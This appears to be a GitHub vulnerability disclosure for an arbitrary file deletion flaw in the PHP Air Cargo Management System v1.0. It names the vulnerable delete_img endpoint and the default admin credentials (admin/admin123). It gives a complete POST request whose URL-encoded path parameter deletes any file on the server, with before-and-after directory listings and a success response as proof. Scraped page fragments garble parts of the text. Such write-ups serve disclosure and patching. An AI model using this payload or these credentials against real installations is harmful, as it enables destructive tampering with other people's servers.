

main

...

bug_report / vendors / oretnom23 / air-cargo-management-system / delet-file-1.md



debug601 Create delet-file-1.md

History

1 contributor

46 lines (31 sloc) | 1.89 KB

...

Air Cargo Management System v1.0 by oretnom23 has Delete any file

vendors: <https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html>

Vulnerability File: /acms/classes/Master.php?f=delete_img

Vulnerability location: /acms/classes/Master.php?f=delete_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shel.php file in the root directory

```
POST /acms/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
Content-Length: 45
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4012.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
```

Referer: http://192.168.1.19/acms/admin/?page=system_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8j006kgjjl9sdts88scke1lkuq
Connection: close

path=C%3A%2Fxampp%2Fhtdocs%2Facms%2Fshell.php // Here we delete the shell.php file in



The file path needs to be encoded by url

C:/xampp/htdocs/acms/shell.php

UrlEncode编码

UrlDecode解码

清空输入框

复制加密后的网址

C%3A%2Fxampp%2Fhtdocs%2Facms%2Fshell.php

At present, the shell.php file is still in the root directory of the website, when we send a request to delete the shell.php file

本地磁盘 (C:) ▾ xampp ▾ htdocs ▾ acms ▾				
共享 ▾ 新建文件夹				
名称 ▲	修改日期	类型	大小	
admin	2022/5/3 11:28	文件夹		
assets	2022/5/3 10:57	文件夹		
build	2022/5/3 10:57	文件夹		
创建日期: 2022/5/3 10:57 大小: 308 KB 文件夹: config, js, npm, scss	2022/5/3 10:57	文件夹		
dist	2022/5/3 10:57	文件夹		
inc	2022/5/3 10:57	文件夹		
libs	2022/5/3 10:57	文件夹		
plugins	2022/5/3 10:58	文件夹		
uploads	2022/5/3 10:58	文件夹		
.htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB	
_index.html	2021/6/21 13:16	HTML 文档	16 KB	
404.html	2021/3/19 13:17	HTML 文档	1 KB	
about.html	2022/2/22 15:49	HTML 文档	5 KB	
about.php	2021/6/22 8:48	PHP 文件	1 KB	
config.php	2022/2/17 12:03	PHP 文件	2 KB	
home.php	2022/2/22 15:49	PHP 文件	3 KB	
index.php	2022/2/21 10:19	PHP 文件	3 KB	
initialize.php	2022/5/3 11:03	PHP 文件	1 KB	
shell.php	2022/5/3 11:45	PHP 文件	0 KB	
trace.php	2022/2/22 16:10	PHP 文件	5 KB	
trace_form.php	2022/2/22 15:56	PHP 文件	5 KB	
view_content.php	2022/2/21 15:11	PHP 文件	7 KB	
welcome.html	2022/2/22 15:49	HTML 文档	314 KB	
























The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

Request	Response
<div>Raw Params Headers Hex</div> <pre>POST /acms/classes/Master.php?f=delete_img HTTP/1.1 Host: 192.168.1.19 Content-Length: 45 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.1.19 Referer: http://192.168.1.19/acms/admin/?page=system_info Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=8j006kgjj19sdt88scke11kuq Connection: close path=C%3A%2Fxampp%2Fhtdocs%2Facms%2Fshell.php</pre>	<div>Raw Headers Hex</div> <pre>HTTP/1.1 200 OK Date: Tue, 03 May 2022 03:49:48 GMT Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7 X-Powered-By: PHP/8.0.7 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 {"status": "success"}</pre>

By this time, shell.php has been deleted.

本地磁盘 (C:) ▾ xampp ▾ htdocs ▾ acms ▾

共享 ▾ 新建文件夹

名称 ▲	修改日期	类型	大小
 admin	2022/5/3 11:28	文件夹	
 assets	2022/5/3 10:57	文件夹	
 build	2022/5/3 10:57	文件夹	
 classes	2022/5/3 10:57	文件夹	
 database	2022/5/3 10:57	文件夹	
 dist	2022/5/3 10:57	文件夹	
 inc	2022/5/3 10:57	文件夹	
 libs	2022/5/3 10:57	文件夹	
 plugins	2022/5/3 10:58	文件夹	
 uploads	2022/5/3 10:58	文件夹	
 .htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB
 _index.html	2021/6/21 13:16	HTML 文档	16 KB
 404.html	2021/3/19 13:17	HTML 文档	1 KB
 about.html	2022/2/22 15:49	HTML 文档	5 KB
 about.php	2021/6/22 8:48	PHP 文件	1 KB
 config.php	2022/2/17 12:03	PHP 文件	2 KB
 home.php	2022/2/22 15:49	PHP 文件	3 KB
 index.php	2022/2/21 10:19	PHP 文件	3 KB
 initialize.php	2022/5/3 11:03	PHP 文件	1 KB
 trace.php	2022/2/22 16:10	PHP 文件	5 KB
 trace_form.php	2022/2/22 15:56	PHP 文件	5 KB
 view_content.php	2022/2/21 15:11	PHP 文件	7 KB
 welcome.html	2022/2/22 15:49	HTML 文档	314 KB